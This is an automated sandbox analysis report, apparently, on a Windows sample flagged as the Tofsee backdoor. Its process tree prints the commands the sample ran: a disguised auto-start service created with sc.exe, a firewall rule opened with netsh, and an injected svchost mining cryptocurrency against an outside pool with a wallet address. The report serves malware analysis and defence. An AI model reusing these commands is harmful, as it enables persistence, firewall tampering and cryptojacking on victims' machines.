Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    17/11/2020, 11:59

General

  • Target
    06bef251e2d2998629786048c764f7a9.exe
  • Size 14.3MB
  • Sample201117-l2l7f5dsds
  • SHA256 c8d33cf31021c28eb3fcd93f3d33137a962732be0c434cbfdef8d4744a8ba97e
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06bef251e2d2998629786048c764f7a9.exe
    "C:\Users\Admin\AppData\Local\Temp\06bef251e2d2998629786048c764f7a9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rzwegscn\
      2⤵
        PID:3820
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zvnnkzym.exe" C:\Windows\SysWOW64\rzwegscn\
        2⤵
          PID:3288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rzwegscn binPath= "C:\Windows\SysWOW64\rzwegscn\zvnnkzym.exe /d\"C:\Users\Admin\AppData\Local\Temp\06bef251e2d2998629786048c764f7a9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:200
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rzwegscn "wifi internet conection"
            2⤵
              PID:2008
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rzwegscn
              2⤵
                PID:3584
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3748
              • C:\Windows\SysWOW64\rzwegscn\zvnnkzym.exe
                C:\Windows\SysWOW64\rzwegscn\zvnnkzym.exe /d"C:\Users\Admin\AppData\Local\Temp\06bef251e2d2998629786048c764f7a9.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2924
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2476
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:500

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/500-22-0x0000000002A00000-0x0000000002AF1000-memory.dmp

                    memory/580-1-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                    memory/580-0-0x0000000003206000-0x0000000003207000-memory.dmp

                    memory/2476-18-0x0000000002650000-0x0000000002660000-memory.dmp

                    memory/2476-20-0x0000000008B50000-0x0000000008F5B000-memory.dmp

                    memory/2476-21-0x0000000002790000-0x0000000002797000-memory.dmp

                    memory/2476-19-0x0000000002780000-0x0000000002785000-memory.dmp

                    memory/2476-13-0x0000000002610000-0x0000000002625000-memory.dmp

                    memory/2476-16-0x0000000004450000-0x000000000465F000-memory.dmp

                    memory/2476-17-0x0000000002640000-0x0000000002646000-memory.dmp

                    memory/2924-11-0x0000000003890000-0x0000000003891000-memory.dmp

                    memory/2924-10-0x00000000032B1000-0x00000000032B2000-memory.dmp